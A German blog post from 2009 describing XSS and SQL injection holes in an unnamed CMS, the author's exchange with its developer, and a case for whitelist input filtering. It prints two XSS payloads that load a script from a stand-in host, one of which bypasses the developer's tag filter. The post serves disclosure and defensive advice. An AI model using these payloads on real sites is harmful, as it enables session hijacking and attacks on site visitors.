CMS mit XSS und SQL-Injection – Entwickler genervt
Dienstag, 28. April 2009, 20:34 Uhr | Autor: ich
Mal wieder ein CMS inkl. XSS und SQL-Injection gefunden. Ich war auch wieder so frech und habe dem Entwickler dazu einen Hinweis gemailt. ;O)
1te Antwort:
danke für den Hinweis. Die SQl Lücke hatte ich schon in den Downloadversionen längst gefixt, aber auf der Seite noch nicht upgedatet.
Das XSS Problem beruht darauf dass hier nur auf Skript Elemente gecheckt wurde, nicht auf die restlichen HTML Tags. Das habe ich erweitert.
Interessant an der SQL-Injection ist: Alle von mir untersuchten WebSites (ca. 60) die ich nach kurzer Suche gefunden habe, nutzen noch die Versionen inkl. der SQL-Lücke. Da er das SQL-Problem wohl erst kürzlich gefixt hat, ist die neue Version noch nicht im Einsatz. Und – ich lach mich wieder schlapp – die Passworte der Admins und User werden ungesalzen in der Datenbank als MD5-Hash gespeichert. Zum Glück gibt es angeblich nur ca. 1000 Installationen von dem CMS und da niemand einfache Passworte vergibt, ist die SQL-Injection kein echtes Problem. ;O)
Mit “Skript Elemente” meinte er JavaScript, denn jeglicher HTML- und CSS-Code wird nach der Injektion ausgeführt.
Bisher hatte er nur diese Form ausgefiltert:
<script src=http://hacker.tld/xss.js></script>
Im war nicht bewusst das auch dieses funktioniert ohne schließendem TAG:
<script src=http://hacker.tld/xss.js />
Dann habe ich ihm noch einmal ein weiteres Beispiel geschickt, da er meinte die XSS-Lücke bereinigt zu haben (Bei solcher Rückmeldung fühle ich mich herausfordert, das Gegenteil zu beweisen. <g>), mit dem Hinweis, dass doch bitte alle Daten die gesendet wurden zu filtern sind.
2te Antwort:
natürlich checken wir alle eingehenden Variablen auf diese Elemente, die durchlaufen eine Reihe von Filtern mit regulären Ausdrücken.
Aber offensichtlich sind die Filter nicht gut genug.
Ich werde mir das einmal prinzipiell anschauen um eine bessere Lösung einbauen zu können.
Er hat eine Blacklist, nach der er die bösen-TAGs aussortiert. Falsch! Falsch! Falsch!
Abhängig davon welche Daten vom User übertragen werden sollen, wird erstmal alles ausgefiltert, was kein alphanumerisches Zeichen ist – fertig. Nur in sehr seltenen Sonderfällen sind Sonderzeichen in einem Formular oder einer Suchfunktion überhaupt erforderlich.
Warum machen sich die Entwickler so unnötige Arbeit und zerbrechen sich den Kopf darüber welcher TAG böse ist und welcher nicht?
Wenn man hiermit filtert:
$ausgabe = preg_replace('/[^a-zA-Z0-9 äöüÄÖÜß]/', '', $eingabe);
darf im Formular natürlich nicht dies stehen:
<input type="text" name="eingabe" value="<?=$eingabe?>" />
Aber das sollte klar sein – so hoffe ich doch. ;O)
Es wird wahrscheinlich so manche WebSite gehackt werden, bevor ein Update eingespielt wird, weil die Betreiber einfach nicht wissen dass das verwendete CMS Sicherheitslücken hat. Auf der Seite des Entwicklers gibt es leider keine Hinweise zu den Lücken. Man kann aber einen Newsletter abonnieren…
Warning: Smarty error: unable to read resource: "/www/htdocs/blabla/newsletter.html" in /www/htdocs/blabla/smarty/Smarty.class.php on line 0815
Mal schauen ob ich da nun einen Newsletter bekomme, so wirklich vertrauenserweckend sieht das aber auch nicht aus. ;O)
Thema: Sicherheit, XSS | Ein Kommentar





